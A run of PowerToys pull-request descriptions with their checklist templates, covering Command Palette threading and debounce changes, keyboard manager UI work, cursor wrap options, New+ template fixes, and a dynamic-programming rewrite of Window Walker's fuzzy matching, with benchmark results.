pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR reduces overall CPU usage caused by GPU statistics in
Performance Monitor extension.
Replaces per-instance PerformanceCounter objects with batch reads via
PerformanceCounterCategory.ReadCategory, reducing kernel transitions and
improving efficiency.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45823
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR replaces sequential fallback processing with an adaptive
parallel dispatch model and isolates fallback work onto a dedicated
thread pool, preventing misbehaving extensions from starving the .NET
ThreadPool on blocked synchronous COM RPC call.
The other major change is allowing MainListPage to allow take control
over the debounce of search updates directly, reducing latency and
improving smoothness of the search.
- Adds `DedicatedThreadPool` — an elastic pool of background threads
(min 2, max 32) that expand on demand when all threads are blocked in
COM calls and shrink after 30s idle.
- Extracts all fallback dispatch machinery (adaptive workers,
per-command inflight tracking, pending-retry slots) from MainListPage
into a standalone FallbackUpdateManager.
- Prevents one fallback from monopolizing all threads by capping
concurrent in-flight calls per fallback to 4.
- Starts with low degree of parallelism (2) and gently scales up to half
of CPU cores per batch. If a fallback takes more than 200ms, another
worker is spawned so remaining commands aren't blocked.
- Adds `ThrottledDebouncedAction` to coalesce rapid `RaiseItemsChanged`
calls from fallback completions and user input (100ms for external
events, 50ms adjusted for keystrokes), replacing unbatched direct calls.
- Bypasses the UI-layer debounce timer for the main list page since it
now handles its own throttling, eliminating double-debounce latency.
- Introduces diagnostics for fallbacks and timing hidden behind feature
flags.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #42286
- [x] Related to: #44407
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Running the Project
**Option 1: Test via runner**
1. Check out branch `niels9001/kbm-ux-consolidation`
2. Build PowerToys project
3. Manually build `Modules/KeyboardManagerEditorUI` project separately
4. Run `runner` project
5. Ensure experimental features are enabled in general settings (should
be on by default)
6. Launch keyboard manager via settings app
**Option 2: Test via installer**
1. Install PowerToys via installer on azure pipeline
1. Launch keyboard manager
## Validation
For each page (Text, Remappings, Programs, URLs):
* Create shortcuts with variable options and ensure they run as expected
* Delete shortcuts and ensure they no longer execute
* Try to create invalid shortcuts to check for proper validation
* Ensure created shortcuts appear in Power Toys Settings Keyboard
manager page
* Try toggling shortcuts
* Try deleting shortcuts while toggled off
### UI
* Any feedback on UI design appreciated as well
<img width="1071" height="671" alt="image"
src="https://github.com/user-attachments/assets/d2e81de0-6d92-4189-9a33-32e94cce74f7"
/>
<img width="2142" height="1341" alt="image"
src="https://github.com/user-attachments/assets/0e4e5685-fdf1-4dfd-ba52-a2e5bc9a66db"
/>
Closes: #15870Closes: #31902Closes: #45302Closes: #36227Closes: #16093Closes: #13409Closes: #9919
Closes: #9482Closes: #8798
Closes: #7054Closes: #2733Closes: #2027Closes: #30167
---------
Co-authored-by: Hao Liu <liuhao3418@gmail.com>
Co-authored-by: chenmy77 <162882040+chenmy77@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Jay <65828559+Jay-o-Way@users.noreply.github.com>
Co-authored-by: Jaylyn Barbee <51131738+Jaylyn-Barbee@users.noreply.github.com>
Co-authored-by: Dustin L. Howett <duhowett@microsoft.com>
## Summary of the Pull Request
Replaces the ComboBox-based filter control with a DropDownButton and
Flyout containing a searchable TextBox and ListView.
- Add type-to-search: typing while button is focused opens the flyout
and filters items by name
- Designed to match appearance of the context menu
- Add keyboard navigation: `Up`/`Down `moves selection from search box,
`Enter` confirms, `Escape` clears search text (or closes if empty), `F4`
opens the dropdown
- Add `Alt+F` shortcut on ShellPage to toggle filter focus
- Style flyout to match ContextMenu (item padding, separators, search
box appearance)
- Show "No results" empty state when search matches nothing
- After confirming selection, return focus to the main search box
- Add accessibility
- Update `FilterTemplateSelector` to support both ComboBoxItem and
ListViewItem containers
- Guard against infinite loop in navigation when only separators exist
## Pictures? Moving!
https://github.com/user-attachments/assets/60e232ae-8cee-4759-a9a7-d7edbf78719e
<img width="315" height="212" alt="image"
src="https://github.com/user-attachments/assets/b6e1a895-064c-47e1-9184-26dbb46fdf05"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #41648
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
This PR adds new options for disabling wrap, updates the wrapping model,
extends the simulator and cursor logging.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #45116
- [ ] Closes: #44955
- [ ] Closes: #44827
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
The PR adds a new option for disabling cursor wrapping, exposing three
options: None - wrapping is not disabled, Ctrl key - if this is pressed
then wrapping is disabled, Shift key - if this is pressed then wrapping
is disabled, this would enable a user to temporarily disable wrapping if
they wanted to get close to a monitor edge without wrapping (auto-hide
status bar for example).
The cursor wrap edge model has been updated to mirror Windows
monitor-to-monitor cursor movement, this should ensure there aren't any
non-wrappable edges.
A new test tool has been added 'CursorLog' this is a monitor aware,
dpi/scaling aware Win32 application that captures mouse movement across
monitors to a log file, the log contains one line per mouse movement
which includes: Monitor, x, y, scale, dpi.
The wrapping simulator has been updated to include the new wrapping
model and support mouse cursor log playback.
## Validation Steps Performed
The updated CursorWrap has been tested on a single monitor (laptop) and
multi-monitor desktop PC with monitors being offset to test
edge/wrapping behavior.
---------
Co-authored-by: Mike Hall <mikehall@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: vanzue <vanzue@outlook.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Release note generation skill add support for quoting co-authors
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Result may vary because of uncertainty of LLM, while I can get this
result during my tests
<img width="696" height="147" alt="image"
src="https://github.com/user-attachments/assets/9d20670f-b9fb-4630-b6b4-f94c2a5d2284"
/>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR adds DispatcherQueueTimer-based debounce to SelectedItem updates
when receiving UpdateCommandBarMessage, preventing rapid consecutive
changes and prevents blinking when items change to fast (e.g. during
search). That's right - Command Palette is too fast!
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45776
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR improves the loading of extensions in the Command Palette and
allows extensions that missed the initial timeout to finish loading.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45711
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR checks the window’s actual extended style before saving the
current window size so the offset is calculated correctly. The API used
can return coordinates in different coordinate spaces depending on
whether the window has the `WS_EX_TOOLWINDOW` extended style.
This makes sense in case that settings `WS_EX_TOOLWINDOW` fails, or is
not applied (when debugger is attached).
>
https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-windowplacement
> If the window is a top-level window that does not have the
WS_EX_TOOLWINDOW window style, then the coordinates represented by the
following members are in workspace coordinates: ptMinPos
## Summary of the Pull Request
This PR expands all Binding XAML markup expressions to nested elements,
which in turn prevents compiler from generating `WMC1510 Ensure the
property path is trimming and AOT compatible` warnings.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Related to: #42574
This PR fixes the following bugs and iprovements:
- The scroll forward/backward glyphs were clipped
- The `Show labels` settings is redundant as those can be set
individually, and actually messes with that setting. Therefore, removed
from the Settings UI.
- Minor string changes
- The 'Filter commands' box is hidden when right clicking the Dock to
customize it.
---------
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Very minor but updated Assets validation script on the CI to make error
messages clearer after discussion with @yeelam-gordon
## Summary of the Pull Request
This PR adds ability to invoke soft/incremental refresh that updates
items but keep selection in place (instead of resetting it to the first
item). For now, this is implemented as a hack using an unused parameter
of `ListPage.RaiseItemsChanged`: passing the constant `-2` tells the
view model that this is an incremental change and that it should keep
the current selection.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45694
- [x] Related to: #44407
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
We picked a command id for always on top, although it has little
possibility, but may collide with other window system menu item, so
before inject, try to see if it persists, if yes, then we don't inject.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
A window with the same id
<img width="1049" height="301" alt="image"
src="https://github.com/user-attachments/assets/ae0ba9b7-c46c-4cbf-8994-e0dc4e5c3527"
/>
You can see there is no always ontop overriding the test item
Normal window:
<img width="468" height="597" alt="image"
src="https://github.com/user-attachments/assets/2ba034a8-c41e-4233-9435-4323c8f1c7a4"
/>
## Summary of the Pull Request
This PR marshals the setting of the property ListViewModel.TextToSuggest
in SetSelectedItem to the UI thread, so that the change notification is
raised on that thread as well.
Regressed in #45764
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
- Add 10-second timeout to GetGeopositionAsync to prevent infinite
spinner
- Pre-check location services availability when dialog opens; disable
Detect Location button with message if unavailable
- Show user-friendly error messages for timeout and unavailable
scenarios
- Add LocationErrorText UI element and localized string resources
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45860
- [x] Closes: #42852
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Supersedes https://github.com/microsoft/PowerToys/pull/41465
1) Fix for where template file or folder only contained numbers
2) Fix for where hidden files are shown in the list of templates
## PR Checklist
- [x] Closes: #36216
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [n/a] **Tests:** Added/updated and all pass
- [n/a] **Localization:** All end-user-facing strings can be localized
- [n/a] **Dev docs:** Added/updated
- [n/a] **New binaries:** Added on the required places
- [n/a] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [n/a] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [n/a] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [n/a] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [n/a] **Documentation updated:** If checked, please file a pull
request on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
1) Fix for where template file or folder only contained numbers
// Filename cases to support
// type | filename | result
// [file] | 01. First entry.txt | First entry.txt
// [folder] | 02. Second entry | Second entry
// [folder] | 03 Third entry | Third entry
// [file] | 04 Fourth entry.txt | Fourth entry.txt
// [file] | 05.Fifth entry.txt | Fifth entry.txt
// [folder] | 001231 | 001231
// [file] | 001231.txt | 001231.txt
// [file] | 13. 0123456789012345.txt | 0123456789012345.txt
2) Fix for where hidden files are shown in the list of templates
Instead of excluding based on filename (desktop.ini) exclude based on
hidden and system attribute being set
## Validation Steps Performed
### Before fix
Notice
1) Folders with numbers only aren't displayed on the context menu
2) Files with extension with numbers only show extension on the context
menu
3) Some hidden files are shown
<img width="1893" height="786" alt="image"
src="https://github.com/user-attachments/assets/3845a541-499f-47a7-ae99-a92886f74214"
/>
### After fixes
#### Scenario 1
New+ Setting: Hide leading digits…: Yes
New+ Setting: Hide file extension: Yes
New+ Setting: Replace variables: No
<img width="1816" height="1185" alt="image"
src="https://github.com/user-attachments/assets/5ed2c205-d5ce-4366-90d9-c08ef4d2881f"
/>
#### Scenario 2
New+ Setting: Hide leading digits…: No
New+ Setting: Hide file extension: No
New+ Setting: Replace variables: No
<img width="1819" height="1197" alt="image"
src="https://github.com/user-attachments/assets/710265d5-94e9-4fee-9a47-a7bbb78b45bd"
/>
#### Scenario 3
New+ Setting: Hide leading digits…: Yes
New+ Setting: Hide file extension: Yes
New+ Setting: Replace variables: Yes
<img width="1816" height="1197" alt="image"
src="https://github.com/user-attachments/assets/45a90cdd-ec21-4425-9de0-c323ec90f149"
/>
## Summary of the Pull Request
Window Walker's fuzzy string matching algorithm exhibits exponential
memory usage and execution time when given inputs containing repeated
characters or phrases. When a user has several windows open with long
titles (such as browser windows), it is straightforward to trigger a
pathological case which uses up gigabytes of memory and freezes the UI.
This is exacerbated by Run's lack of thread pruning, meaning work
triggered by older keystrokes consumes CPU and memory until completion.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #44546
- [x] Closes: #44184
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
The existing algorithm in `FuzzyMatching.cs` is greedy, creating all
possible matching combinations of the search string within the candidate
via its `GetAllMatchIndexes()` method. After this, it selects the best
match and discards the others. This may be considered reasonable for
small search strings, but it causes a combinatorial explosion when there
are multiple possible matches where characters or substrings repeat,
even when the search string is small.
The current brute-force algorithm has time complexity of **O(n * m *
C(n,m))** where **C(n,m)** = **n!/(m!(n-m)!)** and space complexity of
**O(C(n,m) * m)** because it stores all possible match combinations
before choosing the best.
For example, matching `"eeee"` in `"eeeeeeee"` creates **C(8,4)** =
**70** match combinations, which stores 70 lists with 4 integers each,
plus overhead from the LINQ-based list copying and appending:
```csharp
var tempList = results
.Where(x => x.Count == secondIndex && x[x.Count - 1] < firstIndex)
.Select(x => x.ToList()) // Creates a full copy of each matching path
.ToList(); // Materializes all copies
results.AddRange(tempList); // Adds lists to results
```
Each potential sub-match may be recalculated many times.
Window Walker queries across all window titles, so this problem will be
magnified if the search text happens to match multiple titles and/or if
a search string containing a single repeated character is used. For
browser windows, where titles may be long, this is especially
problematic, and similarly for Explorer windows with longer paths.
## Proposed solution
The solution presented here is to use a dynamic programming algorithm
which finds the optimal match directly without generating all
possibilities.
In terms of complexity, the new algorithm benefits from a single pass
through its DP table and only has to store two integer arrays which are
sized proportionally to the search and candidate text string lengths; so
**O(n * m)** for both time and space, i.e. polynomial instead of
exponential.
Scoring is equivalent between the old and new algorithms, based strictly
on the minimum match span within the candidate string.
## Implementation notes
The new algorithm tracks the best start index for matches ending at each
position, eliminating the need to store all possible paths. By storing
the "latest best match so far" as you scan through the search text, you
are guaranteed to minimise the span length. To recreate the best match,
a separate table of parent indexes is kept and iterated backwards once
the DP step is complete. Reversing this provides you with the same
result (or equivalent if there are multiple best matches) as the
original algorithm.
For this "minimum-span" fuzzy matching method, this should be optimal as
it only scans once and storage is proportional to the search and
candidate strings only.
## Benchmarks
A verification and benchmarking suite is here:
https://github.com/daverayment/WindowWalkerBench
Results from comparing the old and new algorithms are here:
https://docs.google.com/spreadsheets/d/1eXmmnN2eI3774QxXXyx1Dv4SKu78U96q28GYnpHT0_8/edit?usp=sharing
| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Gen2
| Allocated | Alloc Ratio |
|----------------
|-----------------:|-----------------:|-----------------:|-----------:|----------:|-----------:|-----------:|----------:|-------------:|------------:|
| Old_Normal | 4,034.4 ns | 220.94 ns | 647.98 ns | 1.02 | 0.23 | 1.9760
| - | - | 8.09 KB | 1.00 |
| New_Normal | 804.5 ns | 24.29 ns | 70.47 ns | 0.20 | 0.04 | 0.4339 | -
| - | 1.77 KB | 0.22 |
| Old_Repetitive | 7,624.7 ns | 318.06 ns | 912.57 ns | 1.94 | 0.38 |
3.7079 | - | - | 15.16 KB | 1.87 |
| New_Repetitive | 2,714.6 ns | 109.03 ns | 318.03 ns | 0.69 | 0.13 |
1.6403 | - | - | 6.72 KB | 0.83 |
| Old_Explosion | 881,443,209.3 ns | 26,273,980.96 ns | 76,225,588.43 ns
| 223,872.87 | 39,357.31 | 50000.0000 | 27000.0000 | 5000.0000 |
351885.11 KB | 43,518.16 |
| New_Explosion | 3,225.4 ns | 111.98 ns | 315.84 ns | 0.82 | 0.15 |
1.7738 | - | - | 7.26 KB | 0.90 |
| Old_Explosion_8 | 460,153,862.6 ns | 18,744,417.95 ns | 54,974,137.06
ns | 116,871.93 | 22,719.87 | 25000.0000 | 14000.0000 | 3000.0000 |
173117.13 KB | 21,409.65 |
| New_Explosion_8 | 2,958.3 ns | 78.16 ns | 230.45 ns | 0.75 | 0.13 |
1.5793 | - | - | 6.46 KB | 0.80 |
| Old_Explosion_7 | 189,069,384.8 ns | 3,774,916.46 ns | 6,202,296.49 ns
| 48,020.68 | 7,501.98 | 11000.0000 | 6333.3333 | 2000.0000 | 71603.96
KB | 8,855.37 |
| New_Explosion_7 | 2,667.5 ns | 117.69 ns | 337.68 ns | 0.68 | 0.13 |
1.3924 | - | - | 5.7 KB | 0.70 |
| Old_Explosion_6 | 71,960,114.8 ns | 1,757,017.15 ns | 5,125,301.87 ns
| 18,276.75 | 3,083.86 | 4500.0000 | 2666.6667 | 1333.3333 | 25515.96 KB
| 3,155.60 |
| New_Explosion_6 | 2,232.5 ns | 72.65 ns | 202.52 ns | 0.57 | 0.10 |
1.1978 | - | - | 4.91 KB | 0.61 |
| Old_Explosion_5 | 9,121,126.4 ns | 180,744.42 ns | 228,583.84 ns |
2,316.62 | 358.55 | 1000.0000 | 968.7500 | 484.3750 | 7630.49 KB |
